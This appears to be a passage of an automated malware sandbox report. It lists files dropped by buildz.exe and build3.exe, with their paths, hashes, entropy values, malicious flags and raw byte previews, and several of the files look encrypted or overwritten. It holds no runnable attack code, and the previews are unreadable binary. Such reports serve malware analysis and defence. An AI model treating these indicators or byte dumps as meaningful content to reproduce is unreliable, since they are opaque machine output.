SHA-512:	C2E40365CED67F8C199CC9F96ACD3A47AC99894E87EA9901A53B991D66F147AF41562B4BEAC6DC5746C4CB511D7B842E4BA109140FE67EC6A391AE50B6A5EC4A
Malicious:	false
Reputation:	unknown
Preview:	regf.Tb.u.aWr6 ...g..=..C..rKF{.....l:.3...T...y......~y..i..C3...Ad......`0....._....S..K.%>.9...dy..X...!.....nHa..AH#_..HD....I......<........._. .....A......E3...(..AG..[.HZ...,... K.Z...#..k...o.wo,e.,M....{..<.@}..Z(pm..YG.lA..M1]S .nK...ur.P... ia=.......dIk.)...]6.:{J.oTI....oR(R.....-l.]....g...E.........t.Z.....].H.k.).........Ri^..{....C!oW.p$.m.`.p...x........WL;io..~_-vT/..'.bSw....0.E..4S@.~. .E..;!..&W/....t.........b.CT..D.O.z..?C..".V.. .q....Z.,.E.....&.Y.+.....ai....h....iK..U(..4....:o&.Uf.z...5..F..iW.@..M]..K....'.Y=..f.W.../.Uy.17.w.......).R.rW.Q.......(.Z.J.o.....J.g..jgyE..Gk.n.....p..)...s....+.......-..v..<....t/g.."B.x..l..?SN)...I.......Z..>-b.3.R.`..<.-=<j=...I?S!../7'F...Pu.D.,......M.l.@<.....2.b..f..........WA*.l.&N....+..<z.,...7a`t....^A.6.7$.H......5.....(.9...b...a..<.3..'[..t.......b...(.W....S@.`.iu........OUu...0DwTGr.+....h..E..G.^..f...o.<RW........I$....gG..r.0.j...3....j.0..]^...4".....~..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9785797704098655
Encrypted:	false
SSDEEP:	192:8EfbBmS9cANGO6uoWT2aSBIxg0sfh1nPaGbDblf7:zfbB99NGOxTT2JK7sfh1njlf7
MD5:	070CC0C1817A35311D27F9762441A7BD
SHA1:	1A3002AE33327CF5BD087753203A0F6558EB770B
SHA-256:	5BC2D9019D18F8212EFDEC52BFE3B574531279A325BBAF283FBAC3486D6E33F1
SHA-512:	C1D3D7C5BCCFFC2A196866AAC36681797D7AEEADD55B7AB5487B122F0D2FEB95785EA8B6C454DD5039186CB2DA2F14BF6ED87E5AA10A804E329DAF200F3A24A5
Malicious:	false
Reputation:	unknown
Preview:	regf..h.\|..yk.[..!....b.8Jv:........R.OA.....j.wt..jS.r.t...>.."..A>..Z<CO.J.iQ.`{onO.....B.n...qq.)$.j...&.=.....i.#>..a......}.........y@Z..!.?...vr.ZR.y.....A..'.s3....!..v.....F...:........[.E.b...).u......C.jg\|9.l.;W.v.-..11.J...7.....$...}......>..Y..+0B.$.X.#.q..C....v.9.4T...}......9.M.D.vqh.\|.x......g....z...gL9.&..G..PD... Tzp.D...<.?..\|(..Sd/.m.zr..x..m.\..{.@.#...e....c.f.[.V\.......n........B`.8..i...I..........By..D..V..k.....+l.....}...e..o:LV..&..Y.\|.{...6.uLR..fA[....`...9..FY$"..h.%...S.Fx.........(...F.....`...#.(Q5.{.1..OewD.......:...$..yM.N<..6W.li3.....I#..1...U.Y=....2K.H.[......X..fS.T......au\..Q /5.P........`#.3...Y.<..9~.M..7..o.1.@.Y..d.....)ZM8~k...B...+U.....7HcfM..........w4}..z./..S6..Tk.7...M..G4...\.G..l.W1../.?...]..~..M..:.A.D.......2..Y....C..k<.7H..h.-.Z .../........U.".=....s.u......e...h..?3...........&m..o.>..zQiYhK.s.....r...@.L5.-....h.y.X.0Q.Pg..b.u.B.pi2.....5.e....o.I..9.S...SJ"..s...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977097782701421
Encrypted:	false
SSDEEP:	192:UIEa2iACQno9OTyyFgj3pekSDUyufXP0X7zUsRFzzKqw0EzynymbCJi9OodlAj/x:UdaV9QnaT3pekSDUyQXP0X7zR2jzyPbu
MD5:	3647A54018036B7A4B55F550A4AFF3B0
SHA1:	C7D757065E810733197A768F9AE300E2D44D776E
SHA-256:	C896B75687F778BF538C7010C673B996617B8625A8E67BE7EAE355E2981EF226
SHA-512:	69C22614C43EBCA5C6D3734B8DEEA2E9DF1675F9852387250719B3A1B3B33FA9D889107DA8A553DD917213A87DFE245A8475F745B0ECF2B7D4CC9222809A0F1C
Malicious:	false
Reputation:	unknown
Preview:	regf.o..."BP.V..Y.[...<....<..J..WG/.fQ~.A.+.Y.g..j...%....bZz..H.v.\.....;....U.&.~1......Do...>.>.:z..F}D...Q._]T>....S...._.C..4. ......+N.,5.S..+...E....I.`...........3.w..<..R.`.}#j.q;2.R...Y...2...A.1.o.jY$....bu.a......].S@&...[.H.o..`..6T....V..W..mfR.wE.4..v...A..T-.v.r.%..B......T.....p...w.K.....wa~...JM..]@..i....0.^;r1.1H..@p..bl.Z0...n,!\@<..(.x.P....-..-#i.~....p.B.l....u.,.\|_sI.LN.&H...m....M...<C...H.....SQ...+/...}..D....0..Rco.N\|.-..j.`5....%a...D..{{.[4.....g.w....K.3...Z....c%.....R..l.w.D.l..H...PM....!j.9...c.R.Zu4...Aq.I.y=...QE....t.$.e.}..d?....."V.W.^C....Y1..E.2....y...dF.F.G..R[.A.^0..../,lzp.08...gdM...A.G..Q!...G.(...o6.#.E..f...(M...Qj./74..Mq!.w.9.h#t..nn.A..!.. .BJ.o.....M....G...#.......Z..k.U.....x..C.)..zt[...h/.y.....V!.jl..5...^....q...h....I2.8....vO.b...:..].t'....S$.I...rn..D.V.M.i....#)..H.......1..g..%tW.X.kI.\...........S.........%(..{....S?AC..&..W..V.`\|.P........s....v.L.U...R.o1.....#..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3304005737515645
Encrypted:	false
SSDEEP:	3072:5jidXaLKNcEV8tC2jeXxrs2jOMPS0UJ6d8QYSQY7qpMu9nSxkKaJ0aH:BiRaLKegSAXxrskS0UkdChYWTcxkj
MD5:	B552DB53BD3C065319672610E2F9768A
SHA1:	2011ADB2C636C67808C26A860AD37A808FE6C17F
SHA-256:	B9F459A5CDDA3FCB838D76076D5ABB0894D3EBF8BD7F46D7E4EBDB5F3028F5A8
SHA-512:	8A4E34A05003309FFDD94AFF5729AD8977863D914E9F98A79A1ABC6E13568FA01D0E6B537E66D8DEB758862BA3F10B3831D8E38C45B07AE8EF9C502B9A74F82C
Malicious:	false
Reputation:	unknown
Preview:	..4t.CK. .N."....CK0.9-.X..ia...ZX..s^g...&...UI.......Y..^..g.\|...j........Dt..L...{....cR.... ..\|....aw.~.$.B.)..Q1....,Bc...].P.\.6s.Y.\|.......z..^....X..xQW.E...w.a........>..t......m.f.P...{.$.$_psn!1....}.~?>(A...S....E6...x.:dR. ...= .M......]. .-..8..C..).^....A.a!..Yx.z.d....P..H..H.A..<.Il..o..........dKt.R..4...bA.C.AR....5r.w.1..{.b.G...)'...]7....z......./....O....h=.u../Ya..n..8.`..#.pz.-@...h(A. YX;i...iK..........\|Y.d'..zi......82....{.?].[.....p...:dM#.....>........<.8..5...?..k.G.D\n......V........o.<....7...4j..sVQ3K{..n2S.j.K...<j.......0.s,.\......_.\.~]...V_..RNL3N~...0-n.....j".4..{@$0.b...&...F!uB..b{~.......6..D.or..:..A<.D0......@"....{.I..<..s..Q.......".'....{U)`...]..\..i....k.x.N..I.;.s...k{..N....q..a...Z.&..k....S.....i9p....h...Y.yr.. ..$......cZ...%3.........b4..wG..`..fP.E..aI.H.`..\..O9s..8...:(.........B......./T.#H..m.9.Z.^<d8.T.g..>..W..=........~..fv<......-...4..K.....[ C......Pv.......A/

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987019996382813
Encrypted:	false
SSDEEP:	384:sbNdk+YrzIMcjdDFFYaWu0dZFaw1g/wf6OgV0y3Lvr:yNd/sEMcjdDFO/u0HFaCgoCOr4z
MD5:	C6B3606E07B86CB04902850B86CB9F99
SHA1:	5253B836A82F942F3D47A818E49A9C677C60A0D8
SHA-256:	36E34EC0A496B8FC406898220B42B78EBDB2FD43A1DEA43BA4A7562869CF61DC
SHA-512:	B559A733CAAA261EB776015E782D9EBA5C16E03E83C6A80C748C875BC7676E259F0242855430672F8B29518156AB1422FEC121DAE90067547D26372540B92C8B
Malicious:	false
Reputation:	unknown
Preview:	..}...>..sl.'...%I...G\U^%S"...4.R.(zWtHB..m.6...Q.Y.qYa'.x..1.>w..n..5......Go.a......>y.....Xs.[..u..).i%......x}..C.F..O.......6....X.P.\.]u...NC.pW...cA"5BI....r...O...0...j....>z....p..N.........<T........(."....Pt.P.2.=%..;37}.S=I....X........~$....V@....Lu.d.v'...3.vy.......<..y.JO...........~..q&S...&[.....$.1.B.U.z.......DC.}..9(j.x..k.Gv...L..P.j..I..Q._4..b...p^.S..:.f.....i.5?..p...O.?..N.-.....Yo4K...+`$k..\|..#.T6:.p......~8..G,..R."r`Ec.UE..:B.o..x...h..V\.K.i.-.O...8.....M....~J^?.Y.....N.....}.R.r1.....k..[..c.[.d.oX..IO.g..BK.>i..w.h.1u.u.+.5....R[...{L...v....4%4........Pq....$...Kq..Vw.....K.."..-.X.. .%7...9{.\|.e.....g.i.Rn)../...@'....%...N.a..J0CF.%.}.y....~.M..D...Q.Q..(#\zN....n.....^.....\|.o.M...X5..t&.5.=#@>..1.......?.A..s.:..=.._..O..W.I.u...>cc.T.7.z...@7wW..#j...O9GM.4!....K.pQX...Z..JH1y...-\|d..Xv.9......t.e.....R.6...~(..{.R.D........2T...\|4..<.!.6.v{.6..0.t..........G....N.jB1..R{..Z..?.b.q....;

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.9001786385819
Encrypted:	false
SSDEEP:	48:WF05IMz3K6iai0HCfAuUDqI3c7saitmh93mD:WFtU3K3ICdUDqac72W93+
MD5:	3A6116741230BB431864059C2E7EFA97
SHA1:	7433CFCE8569B2FBCFBA38A05ECE3702BE8F016A
SHA-256:	950336A717B6D769E1EB098EB9853AF8C8FFADA341B480C673B23573B6F4D904
SHA-512:	C39F3400D24F4C5183DBE86075E03AC800DA017A33115D09CAB611353ED2E65666A8C5D96F0FDB0F150C10C5A2295B14418D524F0EE469B1F3CBA044DFE034CB
Malicious:	false
Reputation:	unknown
Preview:	h.t.t.. ..m...1.m(..........N&....ma....N]3.g.../...5%.z..... ..@...8.Gw....h.pn....\:.8]..?.+M886...W....Y.NP_.}.m..IyT....o..x....kl..2.-..a..{.;.4@...$..."...gt.....m............p.z_l}.7....(.......T.v.ZZ....l....e<....^.%.^...]rH5...1...^......C.6@Xu.mT............]..x....V.....&.....].p............J..Ec...i9........)hwCg."vmu...8K\|.;. D].7.W?B.7.jeMo2.H.X)]/P....x\|a."Z.W....bd...m..{.1$.u.f.`~6..b..&......P5..E....M[.5.%.l..N.-.....k1..1.w..Ch..hSb..O..xD.......1'V...;...G{...~........Z.....N.vY....OF...[...{.T .K?..;.....R...i\|[O...C......3IX.......J..m.Z....<.[..u,.g.B.._.&Oz/Z......}{.b8...=d..{........M8x...'.F..D..)-..."$.....@U.`9.../:..D......Q...r..G......z.-w..D........T.b.VF..Q.i...G!..... 7..K.{.......H..FS...2z....Y.U.s.eC..R....}..nTG.....L.SOEdW....<.~(\Q.$.9....1...gr...t...9,.~gN..`...w}..]9$.!t..e...ui....z.j......d.,.v/...]\:..M.C.G....r....@.9U....H.......K..sp.q..&.zIgiy..t..,x.R..JJ..@...7 e.d

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.796524055432848
Encrypted:	false
SSDEEP:	24:KuOgfN+6I+kLh8XBGipyceweaYKNedHJm6BO/FnJsks3U7EmbD:rH+Lh8Yi8qea7qJ7WnJsj3Ug0D
MD5:	DEF342A36829ED8B03F2E4D4301AB54A
SHA1:	B34CD032B5D1D030033B9E329C7DB37B3F7FB03F
SHA-256:	670EA36092E8E32417CAB47584939A84AB3593135BA94154F477F09BA294D728
SHA-512:	C60F6930642E966BDF73AA830E0CEE02F9AA102419924AEBD2FB66198A2DCF9C8068ACC0CE7F607246CD9FE0E79D2D3FDFA9507165BCE05B24026DC673784154
Malicious:	false
Reputation:	unknown
Preview:	.....+>..u...L.......m.:...Uk,.x...0.}...Ii.X.g.1...Z...X9Px\|......7.......W.6. A...V.<QV....?......n......,v.u,?..Y.d.!..#.....$;...F..../.Q.... ..5.-..0..F..VZ.^.9....!c.O...M.....Q...B.......QXjH..^..B...3bFshy...#D.....dY jz....\m.1a..Ai+Dllv....)g..R.....D...u.9'..H...j.w.?H...~..A/S:k...E....G.)u......2jO..(MW..<...x....8....Yi.......t\|....p....(..6...h(..T....^ .c...2.nt(.....n..`.2..D1.8..]i(.....t.F(.._&w.Y2'._).....F...h.]..0z..`..._y....,...9}...C6.Wx.(...:\Q.6k...+....&_..+.{46....s.\|`..g7.I..4.v('.-......../Q.!(...A....X."9<....a.K.....`9.T.k ......-b.v......o..a....<........rHn.[_.B@..n.6.......H...Y..<z<o..\.j8...{.&.]..f?.P\.../@....e$X..h~.q.X..P..&.f....@.X.]P.gK....x..!...-....l....p9.7.....M..l.aO.:..>c...c..DZ{.........b..Fg.... 2...3...pVio......K.......a.0<........[..d....Xc.B..o.KG\QV......[Q,.q....G)~m......D.u....I]..@.V.2.D8.f@...<)q. ..#%A..#.....,.0a-..\|7a..@..9.j...s.'.6__.@,..>#GU.seo.r,.?..A_B.....(.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3188459104628374
Encrypted:	false
SSDEEP:	3072:mgAR1fFoCR2S6fnPrEogE+2xS8HRnKbtHFQRVSPdCRVHdfaPaF:ytoVS6fnPB42x7HRnKbtIIPkLHdl
MD5:	6A0C3D9D5584FD0B83F357DA969E3CC2
SHA1:	C6E194B20030F8E2DE9C3C4662368BDB56B79B66
SHA-256:	B71C842103D6B2558E2EBCFD58B57F612E518E85A2024008DBFBCC1FE32C8E25
SHA-512:	B2F6F813F2A7500A6440757225A9B3417BDBC44036B7B5A5497F00D56F37C83177D297A6C0D65ED2C9A25F9C5903E091338C16671BE1F219F66563A0201DF411
Malicious:	false
Reputation:	unknown
Preview:	./.....x7f.....h......lL..D.9...........d.Yk.O.N.c.M.h.17..$y......O....l[:.@.B../k...J.vq\.t.B..wd!.<.sw.\|e.Q.3..K.....?......R..jU.....l..........2?...6.]...o.4...y....)..~.f...._..o.."..4.,..#u.!G.. .0...u....pLZw.#.........98...A...."....;...}...8....1.5.q 7.6F<..F)...u.Z..t%y.~.'..).\|....i....2.{P.c....).q.X.<H.5..K..>.6."l..c.M.6.X.....2j{j.}....0rT....Z.6..........#h.X..T..I.i...%....7wB..6..LHE..:....M.U-.`.H....%.~..J?j.M....?.......v....g.F..H..)!...!vR..7w..Pv%.3.N....f...a`.Z....^.k....u.<......)..#Z=..[...i.o....nK.......[..dM.*..~..B-........S .............S.j..[H(.............w..#.y"S.[W..qO.[?.f...<.k83g".X.....>...q.y..p}...;..UQ...T..ZP\...;...&...E..v...TQI.............,.!.3c.z.V....A....J.($.@.i].H)..].7a..:..B....+......=(.r..G..%.m....J.d..R.....0...81..Q.v..\|r.....k.R..?[S..B#..1aa..o.ox.....w.w...o.x...z..dP.qe.5.p.PS_.a..F2.r.:F...\|.W.,...4........'.qD.H......].?M.[Y.........a.z.W]... x8j.......$..(-..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988730445381084
Encrypted:	false
SSDEEP:	384:Scc0dXUHP467fbygl3l7+GWLglEIT5G4NaXZ+V1SvM3Ud3:SedXP6kl0ltuJ+VovBd3
MD5:	E5590AE2F8C24B0FEEA3E9620283AB74
SHA1:	B62A70F9C8C97692172C6823DE432313E2194E0F
SHA-256:	D68E19607D5D0E6C2026B2F0C471921652CEA5233CE503BE79A4449EAA701796
SHA-512:	E7B67F914DEB885A05FA11D2A84334BD0D992310D647C492758BB418D4A9BB7E628D73C031EB5010EB9284D174107DBEEBFD6750C2715D57A60D8E6C3DEB4526
Malicious:	false
Reputation:	unknown
Preview:	@.v..(.I..%<..'...wwS1..Y...).w_..:..]....V.q.O.C...<..a0...J."S.`.(....R.z....3....0`Z...........p..]..t...`;T1.)..r.\|. .@.+..N....t$... .J.......3..\|...tA..\].V......<_k.U.h.k#...n2.x..2H..Q...o...Ts[s..A..6T..Y..r.......1.-.M.t+27......J.LJda.b.[F.Q.CP.&..G...4u......^1)..`k..o...n.j.'kW.........<.....W.Ev....M.X.7f.b.I+T......[.....@...og`.E..)..IY)....h.5.Hz:./.6..I.+...4..Mp..U.[.~#.a..gJQ..c.y.j.l..5N....G......Y.-.Y.:.M.D.6....xh..0....iq...#..X@..O.?Y..L............CN.._-..>....r.!.......0....k.&Fl.p<....\|)..\|/.......il........F...L...e.....)....0.~7.....o.'@....Ki.b(.r..je..E...r.HI.AN..4.,..'.S.Y..a."ps.}..X_..jz<.0...1.z0.G.)~f@.X...N.....&.....[../......k.Q.L.k...../......rx....YY.d..a-..Z..O..Q...S(..........A..7.'.....f...`..y.M....}eM...a....~...Q...+VBd...A..}.9\|.y..N..h...m....'v..U....\|w.AY.n....R3...R........1 ,.T.0G.h[.@qP&...Tu.V5.fb.W.....\|9V.v.w.Mq>...V.H2.......a..2.............v...u=p...e.3.T3-.cH..H......jd

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9785550687876645
Encrypted:	false
SSDEEP:	192:xu81F4NCuoF4duq6+UJlQBcOru7lQqSTaDKTDN3aV+ta:xu83oC74dlUJmcOrumqAaDBd
MD5:	EDE9C7C6F13158A5EE8623D49CEFD440
SHA1:	4C8382EE16655224B7A8EF77B840D9E912515AEA
SHA-256:	CD4DC0A1F9D9E89136194216A4CBA1A36A5FE1D94E97B755BD2298EE4F0E707E
SHA-512:	8FBD4AFBDBF98F1251E19A6787D86387184C10BF0544FCC44252136DDFCB9782E5881BCB291E966CB3DB125C2AE5203B57358319612DFBF9CB9D8AC08E9DB698
Malicious:	false
Reputation:	unknown
Preview:	6.....1..[.@{......l......Fh..8$F./$..,..b`...*=......b.kW..a..A.......{..,..2....J`.I-w.07.-F..v...b..53.i...s.l.....T5..B........!....NmSV\u..Jq:..........I.=.N...H...j.......!M8t.+....j..Y..sfy.M]\|.8 .o...P.a...@{.m}.l../..xC..O.=w....U.:y?....;A......A....2.^.....\...NL5....09..U.z...>.Nb.%.Ht.....:"J....e"5....,tN.x..(...V..-.v.....'.........te"g=zjWF..A.h.R..x.)...fM.....l......1.......X.......oi.%.P.7$I>.....x(..{^u>,.\D?..J'Q...cZ.Q..<..o._@.O..!V...4^..i...Y.iN.<...'.......]......G~:.[/...Zy]Y..X.<e3..o..F../...o.+....G..Q.5.RC.Zu8D.9XV.n...`).T0p.7....(u.o..2.V.I.'..#....=?..H6.....S..U_g.<2....DP<..f..4Kkv.yX.Gw..m8d..boG.._...i.....&9\|+).r.=.9..PZ.......=...d..q.`.l..,.?.D.n4...kq../Dc.....P".f.. ........p...I)(..hn..r%C..)..a\|....5...([...G.v.....8.Z. X.<.)6....s.\.<C....>...<t.n...X../.=w.\|.....}.,.c....C..p.......d......@.6...(../\|.k.X.o..c...I...Y~...Y.../l..!.........j..........-.&....Wr.f...j...A...B.;o

C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe

Download File

Process:	C:\Users\user\Desktop\a\build3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4338576
Entropy (8bit):	7.982134135304302
Encrypted:	false
SSDEEP:	98304:1Ekq9Je9lk1ARKjbS3C1HJVslJSsnJf7SwBskq9:1Ekq9Je94jALJ+isk8
MD5:	F5F2EAC1231BBE457FEDD8AD2337F48C
SHA1:	6DBE4548686DB4AAAC583E932E11A71D94249FD7
SHA-256:	5D74B774673BD99043A2152F8120E00EA11DCE9C9E9A9D050B6DBC685B153520
SHA-512:	714A5CB7E9D54E1FCB27BB87874316799CAE1870F3EF82680E2A3BB2CF4C81497F0425925D6EAAF7FA20E77D2CC96343923FC300945FEC76AC5E411BA4B3A8ED
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L....f.b.................Z@..$D......>.......p@...@..................................\B.....................................(.@.x.......@{...........(B..............q@...............................@.@............p@..............................text...2Y@......Z@................. ..`.rdata...4...p@..6...^@.............@..@.data...\|.B...@.......@.............@....rsrc...@........\|....@.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992255311731539
Encrypted:	true
SSDEEP:	768:tmZl8JHNKhrT6VaVWdD8Wi/YaNRb9zfHYsS:tmZl8JtWrTqaYji/jNv0
MD5:	63E8DA2AE0B4B41224B50CCD16B1EC2B
SHA1:	60A2F40739751757693E311E3EF4E51D464A529B
SHA-256:	EFF502AC762E21BFB1D322EC85CA01F27C9BA1C2C60E0B540F2460552AFD832F
SHA-512:	17DBFB74DA0EDD93B09D4096726718E17E046FE444369DE7AC6256BF5A6B51CFBE7A83438C55B9DD666F033C431387F1231FBD8B40677D2334CABFCC2DD6EEA6
Malicious:	true
Reputation:	unknown
Preview:	SQLit.ru.[.H.t../i..Sn.?.,C...........m...FH......1..Yu.!z.".n......i....%../.>4\|.^.c.a..P.A8{...}...aY..>.4....r."....^.g.......].t........0.w?.S....=.Sb;.o.@.&..p......f..1Vr..!.._......@3..."0.R.9.`.H.v]..._f\|1.g.!.\|Q.x.......se".X..1\.&.@.XU....N.&....Y.A..p2..f\|J....u.$.1.....{Gm<e..v."...c.S.\|..Q>.5..\SNHH....DC.se...;.'...hZa.q&t....^.....B/[.U..EV.zq.......0...\|.+)...C.......J,.o.:....!Uld.&$.@.......;.....UQ;.t.Y.^#.._.......nq.....E/...mAE.B..L...g(..J .....awjgR..r.^VO.T....wS...q...}...~xf...9..o.)..!....<..5=...r:8..Z..9=...v_.;.c.....!....Y i...x].68...].W.....Yg.:.4.)s.....Q..!.7.0..\....>:......6..r....H.....l..9.....\|.....S%.....Gp=.~J.&.H.6KL...L4..'._...n..........9M.+...m...L-n.....o.V....h..n..&.trzQ!"....J.}..Y.mn..\|Em...k....A..jMu.!..s.+.@.J...>.g.ub.M..._!Z..8....dO.c.......^..............ese..M.[.I..5..^.*.?.T.0....c..``....._..{@.e....ew.oRC.'...3.1rw..+-.O...6r..f.l{.#..V.~.YB..$..}....0.Mdc.......0.

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997456202366174
Encrypted:	true
SSDEEP:	1536:jpHnZQN1ICTpQwAMqKij9XVqbN+YSW2cFqmCBVyEk4CJ:pZyDeZMC9XVqUIwBEE/S
MD5:	6AE1ED9769384CC2CF81A36A25B512C1
SHA1:	3F9DB56E7288D35B7A0570F88132CCD92380D4DF
SHA-256:	FA381094BC6CF2D5F98798BF42B45551E713A4E12A3E5A83DF1EBFA4F023D055
SHA-512:	3A41EEBAC802D5081D7D77F80D9D99B4710D5826D478671C416DC1A5AD356CD0E1B2E0132D3BB44AEBEF8B56A2F019D9E3CBEE6A8D1910DFCECEC385DA56D463
Malicious:	true
Reputation:	unknown
Preview:	1G.f.7.\|....$..bx..6.[.Jm.. ...:!R)<..X.BR.....H....M.Y.#.e,....G..>.....R.1V..a9..".{.Q..vA........[r.%..~UI.U.....U>..&..&.>C.'.&.....b........F.T.-.2.....U.f..Q!........9.m=.\.......Y...-.].....................Z_.....C... \.;...h..qh..\.'46.iI.R....7.!..?.-..r.....i...P..b.s.2V..l~e...f..5-.m]....K".<.BZ.8...X.^...8.Kv...>OhN.A.b......P.Te....&.H....}..._......._...%0.[..c.>0.-Q.q.S\......(..rr.?`.H........E.....u. .\...4s..$.f..#.Q.V.h.........[.&.u.9....9P..;4..\..to..f.U... i.-"..j.......R......A.....3\|..K.J.Q\..C.?.!n6.sE..Y...3.8T....%....qrp...m..E.P.-J[-/s..xx.'D...V.!o...[.D.s)`.....\~....v.../....\6.#...3.TNo.!..k5...EA...w.9..0..?.\....{.N.@...F........ .,..3...q.N..VcV'2.....U.~..$.qz...G..O....YN..L.....'+..I.:8.u.O.0W......PeV.O......GGN/..=8.P....5..t...[...UN.\|.5.11n...+......#V.(?...[...2+.JE[..@y.0bk.."..H.NN.C...K.&Y.Q.(9..&...?..k.N...s..$.c.s.z..A.*.&.I..oXL..H...`.G"..VS..S....-...).....ckvP.....B.Z.Xw.B..B.

C:\Users\user\AppData\Local\Temp\AdobeARM.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5041
Entropy (8bit):	7.956651229254598
Encrypted:	false
SSDEEP:	96:or6B3ZDn9DwoknwnIKN49f2zhMsOBuU4mNS4wEWqvgKjM3r5rYlE4Vr/mPAO:xJn90oksMQ8Bu1ms4w24IM3rCEmr+IO
MD5:	F4FAB312254ADC5E64A57F69FEE31DC4
SHA1:	94E447BAA40B63F2950279C46968FFEE00FC13F5
SHA-256:	B436DA2B8A2B7BE41252DF6BF0002F30CF5E4B7DC2AE6F1E762EE4B9FAC06349
SHA-512:	38D5733B3A380A7CD504F106A46FCC9C4BFC49BE11F58E8675656633275260991BBD218AD2B41E541574540E1EF98DBB9331F553163A680D23871FCCF8CAE387
Malicious:	false
Reputation:	unknown
Preview:	[2023._.B..(\|...}b,..i-2...rT4F.....ma-.+s....JO....<.....r...Pk.Z.......!..,kA;.F;....-Rn..x..!.P..J.P.2...K.Qpf.w.... ..d& ;.....`!.e.k.!~d........6...3g...]."1.uv.\.p...H..\... ..{..&..R.I..;>P..XsE..Y:..9..La.V..A..tR>.&V.,4q..WmiF.......cE.......(\......3./>.../.tC.a3.]T....U.!.K........a.5...u{..O...G..`.N.B..;....1..sE.d...Ef....L..A...L..L.-.(........#a.\~Y.._.`\x."N..A.f...z. ....K.;N....C.........y..-ft.r6.;.s.....././...$..;......;9........L.....&.X.^..mcP$.X9ft.._%....C0z...,Z....7%[5..........$...-.MKD..4...#IF.+..W...%.K,....iR....4V.H#b..a..[."....4.nD.Q=I..boM....6.*x1G;#.....D..N.9g..@....'t....D...C...?..~.C....F..T(7.........u...K..J..z?rW>.........\|.}..5'...>.c."..8.@2.......ka/u............/.... mV.vuE0...D.`...f5f..9LD.+..x..R..V./.........8vy.iK.uS#.i..;..+.1....L.5................8.+.Iz='.8.]../(...X.:.a..q.......n.....?.x.../2......0.e.'e.y}......".<...v.4lk.j....$$.`w..rj....I.Zyh.y.`=o....

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	42850
Entropy (8bit):	7.995267586898348
Encrypted:	true
SSDEEP:	768:cwX9NhAvUFyD4BuOZjeb4SkAsaM5M93PZn0SWDfZZXoLIVEgsS/CrcG:daOy0B3XSMaM69hSLZZ4LRJS/CrN
MD5:	68CE774EFF2F621BD81F044AD953F703
SHA1:	92727CCDADC58B1E8414F7964942E65E6BB7C3F8
SHA-256:	1882D0D115BC2BCFEC3997330E51F6A345056FD593B4CE315228F0370D053317
SHA-512:	F6DCFD67E503BE74F883E531C9701CC104BC381F52BF7E0DDCB8D9C869E48FBB7B192626593714F9271A6CDF66C6219C0686F6CA91F98610DB474E741A548CB5
Malicious:	true
Reputation:	unknown
